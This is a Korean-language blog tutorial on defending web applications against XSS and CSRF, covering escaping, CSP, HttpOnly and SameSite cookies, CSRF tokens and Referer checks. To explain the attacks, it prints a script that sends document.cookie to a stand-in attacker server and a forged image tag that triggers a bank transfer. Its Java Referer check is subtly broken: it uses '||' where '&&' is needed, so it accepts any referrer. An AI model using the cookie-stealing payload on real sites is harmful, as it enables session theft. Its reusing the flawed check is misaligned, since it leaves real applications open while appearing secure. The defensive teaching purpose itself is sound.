웹 보안을 위한 XSS, CSRF 방어

반응형

XSS: Cross-Site Scripting

XSS는 공격자가 악의적인 스크립트를 웹 페이지에 삽입하는 공격입니다. 해당 스크립트 코드는 게시판이나, 이미지, 웹 메일 등에 삽입될 수 있습니다. 삽입된 스크립트는 사용자의 브라우저에서 실행되며, 공격자에게 사용자의 정보를 노출하거나 악의적인 행동을 수행할 수 있습니다.

<script>
    // 악의적인 동작 수행
    alert("안녕하세요, 공격자입니다!");
</script>

 

공격자가 위와 같은 악의적인 스크립트를 취약한 웹 페이지에 삽입합니다. 사용자가 해당 페이지를 열면, 악의적인 스크립트가 실행되어 예상치 못한 동작을 수행합니다. XSS는 사용자가 웹 사이트를 신용하여 악의적인 스크립트를 클릭한 경우로, 주로 사용자(클라이언트)를 대상으로 한 공격입니다.

 

XSS 해결 1: 이스케이프 처리 

XSS 취약점은 웹 어플리케이션 사용자로부터 입력받은 데이터 값을 제대로 검사하지 않은 경우에 나타납니다. 이를 방지하기 위한 방법으로는 입력값을 검증하는 것입니다. 사용자의 입력값에 있는 특수문자를 이스케이프하여 그 값을 스크립트로 해석하지 못하게 합니다.

function escapeHTML(input) {
    const entityMap = {
        '&': '&amp;',
        '<': '&lt;',
        '>': '&gt;',
        '"': '&quot;',
        "'": '&#39;',
        '/': '&#x2F;'
    };
    return String(input).replace(/[&<>"'/]/g, char => entityMap[char]);
}

// 사용자 입력 값
const userInput = '<script>alert("XSS Attack");</script>';

// 이스케이프 처리 후 출력
console.log(escapeHTML(userInput));

 

XSS 해결 2: CSP (Content Security Policy) 

다른 방법은 CSP: Content Security Policy 정책을 사용하는 것입니다. CSP는 웹 페이지에서 허용되는 리소스의 출처를 명시적으로 지정하여, 출처가 자기 서버인 스크립트만 실행될 수있도록하여 악의적인 스크립트의 실행을 방지하는 보안 정책입니다.

 

XSS 해결 3: 쿠키 HTTP Only 설정 

마지막으로 사용자의 쿠키를 보호하기 위해 HTTP Only 쿠키 속성을 사용하여 JavaScript에서의 접근을 제한하는 것입니다. 

<script>
    // 모든 쿠키 정보 탈취
    const stolenCookies = document.cookie;

    // Image 객체를 생성하여, 공격자 서버로 이미지 요청
    // 이미지 요청이 목적이 아닌 서버에 쿠키 정보들을 전송하는 목적
    new Image().src = 'https://attacker-server.com/steal?data=' + encodeURIComponent(stolenCookies);
</script>

위 코드는 악의적인 스크립트를 통해 쿠키 정보를 탈취하는 코드입니다. 이때 쿠키를 HTTP Only로 설정을 하게되면 해당 쿠키는 브라우저와 웹 서버 간의 통신에만 사용되고, 클라이언트 측에서는 JavaScript를 통해 접근이 불가능합니다. 이를 통해 악의적인 스크립트가 삽입되어도 Http Only 쿠키에 접근할 수 없으므로 XSS 공격에서 쿠키를 탈취하려는 시도를 방지할 수 있습니다.  

 


CSRF: Cross-Site Request Forgery

공격자가 사용자의 권한을 이용하여 사용자가 의도하지 않은 웹 요청을 유도하는 공격입니다.

 

예를 들어, 사용자가 은행 웹 사이트에 로그인한 상태라고 가정해봅시다. 그리고 공격자가 은행 웹 사이트와 유사하게 하여 가짜 사이트(bank-attacker.com)를 만들고 사용자에게 이메일을 보내 가짜 사이트에 접속하도록 합니다. 

<!-- bank-attacker.com 사이트 페이지 -->
<html lang="kr">
<body>
    <h1>당첨 경품</h1>
    <img src="https://bank-origin.com/transfer?to=attacker&amount=1000000" alt="당첨 이미지">
</body>
</html>

해당 페이지에 들어가면, 웹 브라우저는 해당 이미지의 `src`에 있는 URL로 요청을 보냅니다.

사용자는 로그인된 상태 ,즉 인증된 상태로 요청이 전송되기 때문에 은행 서버(bank-origin.com)에서 유효한 요청으로 처리됩니다.

 

CSRF 해결 1: CSRF 토큰 사용

서버는 사용자에게 CSRF 토큰을 발급하고, 사용자는 이 토큰을 포함시켜서 중요한 요청 시 CSRF 토큰을 같이 보내 검증을 수행하는 방법입니다. Spring Security 경우 `CsrfToken` 객체를 통해 CSRF 토큰을 검증하고, 맞지 않으면 자동으로 요청을 차단합니다.

<!-- 서버에서 발급한 CSRF 토큰을 페이지에 포함 -->
<input type="hidden" name="csrf_token" value="csrf_token_value">

 

CSRF 해결 2: SameSite 쿠키 속성 설정

SameSite 쿠키 속성을 Strict 또는 Lax로 설정하여, 외부 도메인에서의 요청에 대한 쿠키 전송을 방지합니다.

Set-Cookie: csrf_token=여기에_토큰_값; SameSite=Strict; Secure; HttpOnly;

 

CSRF 해결 3: Referrer 검증

요청이 특정 웹 어플리케이션에서 온 것이지 확인하여, 허용된 출처에서만 요청을처리합니다. 

Refferrer 검증은 HTTP 헤더 중 하나인 Referer헤더를 통해 현재 요청이 어떤 웹페이지에서 왔는지를 확인하여 CSRF(Cross-Site Request Forgery) 공격을 방어합니다. 이때 별다른 설정을 하지 않는 이상 브라우저에서 Referer 헤더에 값을 담아 전송합니다.

String referrer = request.getHeader("Referer");
if (referrer != null || referrer.startsWith(URL)) {
    // 요청 처리
} else {
    // 차단 혹은 오류 처리
}

 

CSRF 해결 4: Double Submit Cookie 방식

서버에서 발급한쿠키와 요청 파라미터의 값이 일치하는지 확인하여 유효성을 검증합니다. 

// 쿠키에 CSRF 토큰 저장
response.addCookie(new Cookie("csrf_token", "여기에_토큰_값"));

// 요청 처리 메서드
public void processRequest(HttpServletRequest request, HttpServletResponse response) {
    String cookieToken = getCsrfTokenFromCookies(request);
    String parameterToken = request.getParameter("csrf_token");

    if (cookieToken != null && cookieToken.equals(parameterToken)) {
        // 요청 처리
    } else {
        // 차단 혹은 오류 처리
    }
}
반응형